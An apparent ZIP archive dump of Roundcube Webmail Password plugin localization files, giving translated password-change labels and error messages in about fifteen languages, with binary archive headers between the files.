$labels['confpasswd']  = 'تأكيد كلمة المرور الجديدة';
$messages['nopassword'] = 'من فضلك أدخل كلمة مرور جديدة';
$messages['nocurpassword'] = 'من فضلك أدخل كلمة المرور الحالية';
$messages['passwordincorrect'] = 'كلمة المرور الحالية غير صحيحة';
$messages['passwordinconsistency'] = 'كلمة المرور غير مطابقة, أعد المحاولة';
$messages['crypterror'] = 'تعذر حفظ كلمة المرور الجديدة. دالة التشفير مفقودة.';
$messages['connecterror'] = 'تعذر حفظ كلمة المرور الجديدة. خطأ في الإتصال';
$messages['internalerror'] = 'تعذر حفظ كلمة المرور الجديدة';
$messages['passwordshort'] = 'كلمة المرور يجب ان تحتوي على الاقل $length احرف.';
$messages['passwordweak'] = 'كلمة المرور يجب ان تتضمن على الاقل رقم و علامة ترميز.';
$messages['passwordtooweak'] = 'كلمة المرور ضعيفة';
$messages['passwordnoseq'] = 'يجب ألا تكون كلمة المرور تسلسلًا مثل 123456 أو QWERTY.';
$messages['passwordnocommon'] = 'يجب ألا تكون كلمة المرور كلمة أو اسمًا شائعًا.';
$messages['passwordforbidden'] = 'كلمة المرور تحتوي حروفاً ممنوعة';
$messages['firstloginchange'] = 'هذا هو تسجيل الدخول الأول الخاص بك. الرجاء تغيير كلمة المرور الخاصة بك.';
$messages['disablednotice'] = 'النظام قيد الصيانة حاليًا ولا يمكن تغيير كلمة المرور في الوقت الحالي. يجب أن يعود كل شيء إلى طبيعته قريبًا. نحن نعتذر عن أي شيء غير مناسب.';
$messages['passwinhistory'] = 'سبق استخدام كلمة المرور هذه من قبل.';
$messages['samepasswd'] = 'يجب أن تكون كلمة المرور الجديدة مختلفة عن القديمة.';
$messages['passwdexpirewarning'] = 'تحذير! ستنتهي صلاحية كلمة مرورك قريبًا ، قم بتغييرها قبل $expirationdatetime .';
$messages['passwdexpired'] = 'لقد انتهت صلاحية كلمة المرور الخاصة بك ، يجب عليك تغييرها الآن!';
$messages['passwdconstraintviolation'] = 'انتهاك قيود كلمة المرور. ربما تكون كلمة المرور ضعيفة للغاية.';
$messages['pwned_mustnotbedisclosed'] = 'يجب ألا تكون كلمة المرور &nbsp; <a href="https://haveibeenpwned.com/Passwords" target="_blank">معروفة بشكل عام</a>.';
$messages['pwned_isdisclosed'] = 'كلمة المرور هذه معروفة بشكل عام.';
$messages['pwned_fetcherror'] = 'فشل التحقق من قوة كلمة المرور.';
PKh�\�~�

'plugins/password/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['curpasswd']  = 'Hal-hazırki şifrə:';
$labels['newpasswd']  = 'Yeni şifrə:';
$labels['confpasswd']  = 'Yeni şifrə: (təkrar)';
$messages['nopassword'] = 'Yeni şifrəni daxil edin.';
$messages['nocurpassword'] = 'Hal-hazırda istifadə etdiyiniz şifrəni daxil edin.';
$messages['passwordincorrect'] = 'Yalnış şifrə daxil etdiniz.';
$messages['passwordinconsistency'] = 'Yeni daxil etdiyiniz şifrələr bir-birinə uyğun deyildir.';
$messages['crypterror'] = 'Yeni şifrənin saxlanılması mümkün olmadı. Şifrələmə metodu tapılmadı.';
$messages['connecterror'] = 'Yeni şifrənin saxlanılması mümkün olmadı. Qoşulma səhvi.';
$messages['internalerror'] = 'Yeni şifrənin saxlanılması mümkün olmadı.';
$messages['passwordshort'] = 'Yeni şifrə $length simvoldan uzun olmalıdır.';
$messages['passwordweak'] = 'Şifrədə heç olmasa minimum bir rəqəm və simvol olmalıdır.';
$messages['passwordforbidden'] = 'Şifrədə icazə verilməyən simvollar vardır.';
PKh�\�D�x	x	'plugins/password/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Ubah sandi';
$labels['curpasswd']  = 'Sandi saat ini:';
$labels['newpasswd']  = 'Sandi Baru:';
$labels['confpasswd']  = 'Konfirmasi Sandi Baru:';
$messages['nopassword'] = 'Masukkan sandi baru.';
$messages['nocurpassword'] = 'Masukkan sandi saat ini.';
$messages['passwordincorrect'] = 'Sandi saat ini salah.';
$messages['passwordinconsistency'] = 'Sandi tidak cocok, harap coba lagi.';
$messages['crypterror'] = 'Tidak dapat menyimpan sandi baru. Fungsi enkripsi tidak ditemukan.';
$messages['connecterror'] = 'Tidak dapat menyimpan sandi baru. Koneksi error.';
$messages['internalerror'] = 'Tidak dapat menyimpan sandi baru.';
$messages['passwordshort'] = 'Panjang password minimal $length karakter';
$messages['passwordweak'] = 'Sandi harus menyertakan setidaknya satu angka dan satu tanda baca.';
$messages['passwordforbidden'] = 'Sandi mengandung karakter terlarang.';
$messages['firstloginchange'] = 'Ini login pertama Anda. Harap ubah sandi Anda.';
$messages['disablednotice'] = 'Sistem saat ini sedang dalam pemeliharaan dan perubahan sandi tidak mungkin saat ini. Semua mestinya segera kembali normal. Kami mohon maaf untuk ketidaknyamanan ini.';
$messages['passwinhistory'] = 'Kata sandi sudah pernah digunakan';
$messages['samepasswd'] = 'Kata sandi harus berbeda dengan yang sebelumnya';
$messages['passwdexpirewarning'] = 'Peringatan! Masa kata sandi segera berakhir, ganti sebelum $expirationdatetime.';
$messages['passwdexpired'] = 'Kata sandi kadaluarsa, harus diganti sekarang.';
$messages['passwdconstraintviolation'] = 'Kata sandi melanggar aturan. Mungkin kata sandi terlalu lemah.';
PKh�\)�bVV'plugins/password/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Jelszó módosítás';
$labels['curpasswd']  = 'Jelenlegi jelszó:';
$labels['newpasswd']  = 'Új jelszó:';
$labels['confpasswd']  = 'Új jelszó mégegyszer:';
$messages['nopassword'] = 'Kérjük adja meg az új jelszót.';
$messages['nocurpassword'] = 'Kérjük adja meg a jelenlegi jelszót.';
$messages['passwordincorrect'] = 'Érvénytelen a jelenlegi jelszó.';
$messages['passwordinconsistency'] = 'A beírt jelszavak nem azonosak. Próbálja újra.';
$messages['crypterror'] = 'Hiba történt a kérés feldolgozása során.';
$messages['connecterror'] = 'Az új jelszó mentése nem sikerült. Hiba a kapcsolatban';
$messages['internalerror'] = 'Hiba történt a kérés feldolgozása során.';
$messages['passwordshort'] = 'A jelszónak legalább $length karakter hosszúnak kell lennie.';
$messages['passwordweak'] = 'A jelszónak mindenképpen kell tartalmaznia egy számot és egy írásjelet.';
$messages['passwordtooweak'] = 'A jelszó túl gyenge.';
$messages['passwordnoseq'] = 'A jelszavak nem lehetnek olyan karaktereksorozatok mint például az 123456 vagy a QWERTY.';
$messages['passwordnocommon'] = 'A jelszó nem lehet egy általános szó vagy név.';
$messages['passwordforbidden'] = 'A jelszó tiltott karaktert is tartalmaz.';
$messages['firstloginchange'] = 'Ez az első belépésed. Változtass jelszót.';
$messages['disablednotice'] = 'A rendszer jelenleg karbantartás alatt van és a jelszó módosítás nem lehetséges ebben a pillanatban. Minden visszaáll normálisra hamarosan. A  kellemetlenségért elnézést kérünk.';
$messages['passwinhistory'] = 'A megadott jelszó volt már használva.';
$messages['samepasswd'] = 'Az új jelszó nem lehet azonos a régi jelszóval.';
$messages['passwdexpirewarning'] = 'Figyelem! A jelszavad hamarosan lejár, változtasd meg még $expirationdatetime elött.';
$messages['passwdexpired'] = 'A jelszavad lejárt, adj meg újat.';
$messages['passwdconstraintviolation'] = 'Jelszó szabály megsértése. A jelszó valószínűleg túl gyenge.';
$messages['pwned_mustnotbedisclosed'] = 'A jelszó nem lehet <a href="$href" target="_blank">általánosan használtként ismert</a>.';
$messages['pwned_isdisclosed'] = 'Ez a jelszó általánosan használtként ismert.';
$messages['pwned_fetcherror'] = 'Nem sikerült a jelszó erősségének ellenőrzése.';
PKh�\�Z�9<
<
'plugins/password/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Schimbă parola';
$labels['curpasswd']  = 'Parola curentă:';
$labels['newpasswd']  = 'Parola nouă:';
$labels['confpasswd']  = 'Confirmare parola nouă:';
$messages['nopassword'] = 'Te rog să introduci noua parolă.';
$messages['nocurpassword'] = 'Te rog să introduci parola curentă';
$messages['passwordincorrect'] = 'Parola curentă este incorectă.';
$messages['passwordinconsistency'] = 'Parolele nu se potrivesc, te rog să mai încerci';
$messages['crypterror'] = 'Nu am reușit să salvez noua parolă. Funcția de criptare lipsește.';
$messages['connecterror'] = 'Nu am reușit să salvez noua parolă. Eroare connexiune.';
$messages['internalerror'] = 'Nu am reușit să salvez noua parolă.';
$messages['passwordshort'] = 'Parola trebuie să aibă minim $length caractere.';
$messages['passwordweak'] = 'Parola trebuie să conțina cel puțin un număr si un semn de punctuație.';
$messages['passwordforbidden'] = 'Parola conține caractere nepermise.';
$messages['firstloginchange'] = 'Aceasta este prima autentificare. Te rugăm să schimbi parola.';
$messages['disablednotice'] = 'Sistemul este în prezent în curs de întreținere, iar schimbarea parolei nu este posibilă în acest moment. Totul ar trebui să revină la normal în curând. Ne cerem scuze pentru orice inconveniență.';
$messages['passwinhistory'] = 'Această parolă a fost folosită anterior.';
$messages['samepasswd'] = 'Parola nouă trebuie să fie diferită față de cea veche.';
$messages['passwdexpirewarning'] = 'Atenție! Parola dvs. va expira în curând, modificați-o înainte de $expirationdatetime.';
$messages['passwdexpired'] = 'Parola dvs. a expirat, trebuie să o schimbați acum!';
$messages['passwdconstraintviolation'] = 'Încălcare constrângere parolă. Parola probabil prea slabă.';
PKh�\4Q���$plugins/password/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['curpasswd']  = 'Nuna pasvorto:';
$labels['newpasswd']  = 'Nova pasvorto:';
$labels['confpasswd']  = 'Konfirmi novan pasvorton:';
$messages['nopassword'] = 'Bonvole tajpu novan pasvorton.';
$messages['nocurpassword'] = 'Bonvole tajpu nunan pasvorton.';
$messages['passwordincorrect'] = 'Nuna pasvorto nekorekta.';
$messages['passwordinconsistency'] = 'Pasvortoj ne kongruas, bonvole provu denove.';
$messages['crypterror'] = 'Pasvorto ne konserveblas: funkcio de ĉifrado mankas.';
$messages['connecterror'] = 'Pasvorto ne konserveblas: eraro de konekto.';
$messages['internalerror'] = 'Nova pasvorto ne konserveblas.';
$messages['passwordshort'] = 'Pasvorto longu almenaŭ $length signojn.';
$messages['passwordweak'] = 'La pasvorto enhavu almenaŭ unu ciferon kaj unu interpunktan signon.';
$messages['passwordforbidden'] = 'La pasvorto enhavas malpermesitajn signojn.';
PKh�\��uV
V
'plugins/password/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Changer le mot de passe';
$labels['curpasswd']  = 'Mot de passe actuel :';
$labels['newpasswd']  = 'Nouveau mot de passe :';
$labels['confpasswd']  = 'Confirmer le nouveau mot de passe :';
$messages['nopassword'] = 'Veuillez saisir le nouveau mot de passe.';
$messages['nocurpassword'] = 'Veuillez saisir le mot de passe actuel.';
$messages['passwordincorrect'] = 'Le mot de passe actuel est erroné.';
$messages['passwordinconsistency'] = 'Les mots de passe ne correspondent pas, veuillez réessayer.';
$messages['crypterror'] = 'Impossible d’enregistrer le nouveau mot de passe. La fonction de chiffrement est manquante.';
$messages['connecterror'] = 'Impossible d’enregistrer le nouveau mot de passe. Erreur de connexion.';
$messages['internalerror'] = 'Impossible d’enregistrer le nouveau mot de passe.';
$messages['passwordshort'] = 'Le mot de passe doit comporter au moins $length caractères.';
$messages['passwordweak'] = 'Le mot de passe doit comporter au moins un chiffre et un signe de ponctuation.';
$messages['passwordtooweak'] = 'Le mot de passe est trop faible.';
$messages['passwordnoseq'] = 'Le mot de passe ne devrait pas être une séquence comme 123456, QWERTY ou AZERTY.';
$messages['passwordnocommon'] = 'Le mot de passe ne devrait pas être un nom commun ou un nom.';
$messages['passwordforbidden'] = 'Le mot de passe contient des caractères interdits.';
$messages['firstloginchange'] = 'Ceci est votre première connexion. Veuillez changer votre mot de passe.';
$messages['disablednotice'] = 'Le système est en cours de maintenance et les changements de mot de passe sont impossibles pour l’instant. Tout devrait redevenir normal sous peu. Nous regrettons tout inconvénient que cette situation pourrait occasionner.';
$messages['passwinhistory'] = 'Ce mot de passe a déjà été utilisé précédemment.';
$messages['samepasswd'] = 'Le nouveau mot de passe doit être différent de l’ancien.';
$messages['passwdexpirewarning'] = 'Avertissement ! Votre mot de passe arrivera prochainement à expiration. Changez-le avant le $expirationdatetime.';
$messages['passwdexpired'] = 'Votre mot de passe est expiré, vous devez le changer maintenant';
$messages['passwdconstraintviolation'] = 'Contrainte non respectée. Le mot de passe est probablement trop faible.';
$messages['pwned_mustnotbedisclosed'] = 'Le mot de passe ne doit pas être <a href="$href" target="_blank">notoire</a>.';
$messages['pwned_isdisclosed'] = 'Ce mot de passe est connu par ailleurs.';
$messages['pwned_fetcherror'] = 'Échec de vérification de la robustesse du mot de passe.';
PKh�\!*�g;
;
'plugins/password/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Promjena zaporke';
$labels['curpasswd']  = 'Važeća zaporka:';
$labels['newpasswd']  = 'Nova zaporka:';
$labels['confpasswd']  = 'Potvrda nove zaporke:';
$messages['nopassword'] = 'Molimo unesite novu zaporku.';
$messages['nocurpassword'] = 'Molimo unesite trenutnu zaporku.';
$messages['passwordincorrect'] = 'Trenutna zaporka je nevažeća.';
$messages['passwordinconsistency'] = 'Zaporke su različite, pokušajte ponovo.';
$messages['crypterror'] = 'Nemoguće promijeniti zaporku. Nedostaje enkripcijska funkcija.';
$messages['connecterror'] = 'Nemoguće promijeniti zaporku. Greška prilikom spajanja.';
$messages['internalerror'] = 'Nemoguće promijeniti zaporku.';
$messages['passwordshort'] = 'Zaporka mora sadržavati barem $length znakova.';
$messages['passwordweak'] = 'Zaporka mora sadržavati barem jednu znamenku i jedan interpunkcijski znak.';
$messages['passwordtooweak'] = 'Preslaba zaporka.';
$messages['passwordnoseq'] = 'Zaporka ne smije biti niz poput 123456 ili QWERTZ';
$messages['passwordnocommon'] = 'Zaporka ne bi smjela biti uobičajena riječ ili ime.';
$messages['passwordforbidden'] = 'Zaporka sadrži nedozvoljene znakove.';
$messages['firstloginchange'] = 'Ovo je vaša prva prijava u sustav. Molimo promijenite vašu zaporku.';
$messages['disablednotice'] = 'Sustav je trenutno u fazi održavanja i promjena zaporke trenutno nije moguća. Uskoro bi sve trebalo raditi ispravno. Ispričavamo se zbog neugodnosti.';
$messages['passwinhistory'] = 'Zaporka je bila prije u uporabi.';
$messages['samepasswd'] = 'Nova zaporka mora biti drukčija od stare.';
$messages['passwdexpirewarning'] = 'Upozorenje! Vaša će zaporka uskoro isteći, promijenite je prije $expirationdatetime.';
$messages['passwdexpired'] = 'Vaša je zaporka istekla, morate je odmah promijeniti!';
PKh�\鑪��'plugins/password/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Zmiana hasła';
$labels['curpasswd']  = 'Aktualne hasło:';
$labels['newpasswd']  = 'Nowe hasło:';
$labels['confpasswd']  = 'Potwierdź hasło:';
$messages['nopassword'] = 'Wprowadź nowe hasło.';
$messages['nocurpassword'] = 'Wprowadź aktualne hasło.';
$messages['passwordincorrect'] = 'Błędne aktualne hasło, spróbuj ponownie.';
$messages['passwordinconsistency'] = 'Hasła nie pasują, spróbuj ponownie.';
$messages['crypterror'] = 'Nie udało się zapisać nowego hasła. Brak funkcji kodującej.';
$messages['connecterror'] = 'Nie udało się zapisać nowego hasła. Błąd połączenia.';
$messages['internalerror'] = 'Nie udało się zapisać nowego hasła.';
$messages['passwordshort'] = 'Hasło musi posiadać co najmniej $length znaków.';
$messages['passwordweak'] = 'Hasło musi zawierać co najmniej jedną cyfrę i znak interpunkcyjny.';
$messages['passwordtooweak'] = 'Hasło jest zbyt słabe.';
$messages['passwordnoseq'] = 'Hasło nie powinno być sekwencją typu 123456 albo QWERTY.';
$messages['passwordnocommon'] = 'Hasło nie może być zwykłym słowem lub nazwą.';
$messages['passwordforbidden'] = 'Hasło zawiera niedozwolone znaki.';
$messages['firstloginchange'] = 'To jest twoje pierwsze logowanie. Proszę zmień hasło.';
$messages['disablednotice'] = 'System jest w trakcie konserwacji i zmiana hasła w tym momencie nie jest możliwa. Wszystko powinno wrócić do normy w niedługim czasie. Przepraszamy za wszelkie niedogodności';
$messages['passwinhistory'] = 'To hasło było już wcześniej użyte';
$messages['samepasswd'] = 'Nowe hasło musi być różne od poprzednich.';
$messages['passwdexpirewarning'] = 'Uwaga! Twoje hasło wkrótce wygaśnie, zmień je przed $expirationdatetime.';
$messages['passwdexpired'] = 'Twoje hasło wygasło, musisz je zmienić.';
$messages['passwdconstraintviolation'] = 'Naruszenie ograniczeń hasła. Prawdopodobnie jest zbyt słabe.';
$messages['pwned_mustnotbedisclosed'] = 'Hasło nie może być <a href="$href" target="_blank">powszechnie znane</a>.';
$messages['pwned_isdisclosed'] = 'To hasło jest powszechnie znane.';
$messages['pwned_fetcherror'] = 'Nie udało się zweryfikować siły hasła.';
PKh�\F����'plugins/password/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'パスワードの変更';
$labels['curpasswd']  = '現在のパスワード:';
$labels['newpasswd']  = '新しいパスワード:';
$labels['confpasswd']  = '新しいパスワード (確認):';
$messages['nopassword'] = '新しいパスワードを入力してください。';
$messages['nocurpassword'] = '現在のパスワードを入力してください。';
$messages['passwordincorrect'] = '現在のパスワードが間違っています。';
$messages['passwordinconsistency'] = 'パスワードが一致しません。もう一度やり直してください。';
$messages['crypterror'] = 'パスワードを保存できませんでした。暗号化関数がみあたりません。';
$messages['connecterror'] = '新しいパスワードを保存できませんでした。接続エラーです。';
$messages['internalerror'] = '新しいパスワードを保存できませんでした。';
$messages['passwordshort'] = 'パスワードは少なくとも $length 文字の長さが必要です。';
$messages['passwordweak'] = 'パスワードは少なくとも数字の 1 文字と記号の 1 文字を含んでいなければなりません。';
$messages['passwordtooweak'] = '弱すぎるパスワードです。';
$messages['passwordnoseq'] = 'パスワードは123456やQWERTYの様な連続にしてはなりません。';
$messages['passwordnocommon'] = 'パスワードはありふれた単語や名前にしてはなりません。';
$messages['passwordforbidden'] = 'パスワードに禁止された文字が含まれています。';
$messages['firstloginchange'] = 'これは初めてのログインです。パスワードを変更してください。';
$messages['disablednotice'] = 'このシステムは今は保守中で、現在のところパスワードの変更はできません。しばらくすれば、通常の状態に復帰するはずです。ご迷惑を掛けて申し訳ありません。';
$messages['passwinhistory'] = 'このパスワードは以前に使用しています。';
$messages['samepasswd'] = '新しいパスワードは以前のものと異なっていなければなりません。';
$messages['passwdexpirewarning'] = '警告!  パスワードの有効期限がすぐに切れます、$expirationdatetimeよりも前に変更してください。';
$messages['passwdexpired'] = 'パスワードの期限が切れています、今すぐ変更しなければなりません!';
$messages['passwdconstraintviolation'] = 'パスワードの制限に違反しました。おそらくパスワードがの強度が弱すぎます。';
$messages['pwned_mustnotbedisclosed'] = 'パスワードは<a href="$href" target="_blank">よく知られた言葉</a>であってはなりません。';
$messages['pwned_isdisclosed'] = 'このパスワードはよく知られた言葉です。';
$messages['pwned_fetcherror'] = 'パスワードの強度の検証に失敗しました。';
PKh�\�|B��'plugins/password/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['curpasswd']  = 'Noverande passord:';
$labels['newpasswd']  = 'Nytt passord:';
$labels['confpasswd']  = 'Bekreft nytt passord';
$messages['nopassword'] = 'Venlegast skriv inn nytt passord.';
$messages['nocurpassword'] = 'Venlegast skriv inn noverande passord.';
$messages['passwordincorrect'] = 'Noverande passord er feil.';
$messages['passwordinconsistency'] = 'Passorda er ikkje like, venlegast prøv igjen.';
$messages['crypterror'] = 'Kunne ikkje lagre nytt passord. Krypteringsfunksjonen manglar.';
$messages['connecterror'] = 'Kunne ikkje lagre nytt passord. Tilkoblingsfeil.';
$messages['internalerror'] = 'Kunne ikkje lagre nytt passord.';
$messages['passwordshort'] = 'Passordet må minimum innehalde $length teikn.';
$messages['passwordweak'] = 'Passordet må innehalde minst eitt tal og eitt skilleteikn.';
$messages['passwordforbidden'] = 'Passordet inneheld forbodne teikn.';
PKh�\����%plugins/password/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['curpasswd']  = 'Contraseña actual:';
$labels['newpasswd']  = 'Contraseña nueva:';
$labels['confpasswd']  = 'Confirmar contraseña:';
$messages['nopassword'] = 'Por favor, introduz una contraseña nueva.';
$messages['nocurpassword'] = 'Por favor, introduz la contraseña actual.';
$messages['passwordincorrect'] = 'La contraseña actual ye incorreuta.';
$messages['passwordinconsistency'] = 'Les contraseñes nun concasen. Por favor, inténtalo otra vegada.';
$messages['crypterror'] = 'Nun pudo guardase la contraseña nueva. Falta la función de cifráu.';
$messages['connecterror'] = 'Nun pudo guardase la contraseña nueva. Fallu de conexón.';
$messages['internalerror'] = 'Nun pudo guardase la contraseña nueva. ';
$messages['passwordshort'] = 'La contraseña tien de tener polo menos $length caráuteres.';
$messages['passwordweak'] = 'La contraseña tien de tener polo menos un númberu y un signu de puntuación.';
$messages['passwordforbidden'] = 'La contraseña contien caráuteres prohibíos.';
$messages['firstloginchange'] = 'Esti ye\'l to primer aniciu sesión. Por favor, camuda la to contraseña.';
PKh�\�pH���%plugins/password/localization/kab.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Beddel awal uffir';
$labels['curpasswd']  = 'Awal uffir amiran';
$labels['newpasswd']  = 'Awal uffir amaynut:';
$labels['confpasswd']  = 'Sentem awal uffir:';
PKh�\�f=aa'plugins/password/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Измени лозинку';
$labels['curpasswd']  = 'Тренутна лозинка:';
$labels['newpasswd']  = 'Нова лозинка:';
$labels['confpasswd']  = 'Потврдите нову лозинку:';
$messages['nopassword'] = 'Унесите нову лозинку.';
$messages['nocurpassword'] = 'Унесите тренутну лозинку.';
$messages['passwordincorrect'] = 'Тренутна лозинка је нетачна.';
$messages['passwordinconsistency'] = 'Лозинке се не поклапају. Покушајте поново.';
$messages['crypterror'] = 'Није могуће сачувати нову лозинку. Недостаје функција за шифровање.';
$messages['connecterror'] = 'Није могуће сачувати нову лозинку. Грешка везе.';
$messages['internalerror'] = 'Није могуће сачувати нову лозинку.';
$messages['passwordshort'] = 'Лозинка мора имати најмање $length знакова.';
$messages['passwordweak'] = 'Лозинка мора да садржи најмање један број и један знак интерпункције.';
$messages['passwordforbidden'] = 'Лозинка садржи недозвољене знакове.';
$messages['firstloginchange'] = 'Ово је ваше прво пријављивање. Измените лозинку.';
$messages['disablednotice'] = 'Систем је тренутно у фази ремонта и измена лозинке за сада није могућа. Све ће се ускоро вратити у нормалу. Извињавамо се због неугодности.';
$messages['passwinhistory'] = 'Лозинка је раније већ коришћена.';
$messages['samepasswd'] = 'Нова лозинка се мора разликовати од старе.';
$messages['passwdexpirewarning'] = 'Упозорење! Ваша лозинка истиче ускоро. Промените је до $expirationdatetime.';
$messages['passwdexpired'] = 'Ваша лозинка је истекла. Морате је изменити одмах!';
$messages['passwdconstraintviolation'] = 'Лозинка не испуњава смернице. Вероватно је превише слаба.';
PKh�\�X|		'plugins/password/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['curpasswd']  = 'Aktuellt Passwuert:';
$labels['newpasswd']  = 'Neit Passwuert:';
$labels['confpasswd']  = 'Neit Passwuert bestätegen:';
$messages['nopassword'] = 'Gëff wann ech gelift en neit Passwuert an.';
$messages['nocurpassword'] = 'Gëff wann ech gelift dat aktuellt Passwuert an.';
$messages['passwordincorrect'] = 'Aktuellt Passwuert net korrekt.';
$messages['passwordinconsistency'] = 'D\'Passwierder passen net, probéier wann ech gelift nach eng Kéier.';
$messages['crypterror'] = 'Passwuert konnt net gespäichert ginn. Verschlësselungs-Funktioun feelt.';
$messages['connecterror'] = 'Passwuert konnt net gespäichert ginn. Connectiouns-Feeler.';
$messages['internalerror'] = 'Neit Passwuert konnt net gespäichert ginn.';
$messages['passwordshort'] = 'D\'Passwuert muss mindestens $length Zeeche laang sinn.';
$messages['passwordweak'] = 'D\'Passwuert muss mindestens eng Zuel an ee Sazzeechen enthalen.';
$messages['passwordforbidden'] = 'D\'Passwuert enthält verbueden Zeechen.';
PKh�\R���BB'plugins/password/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
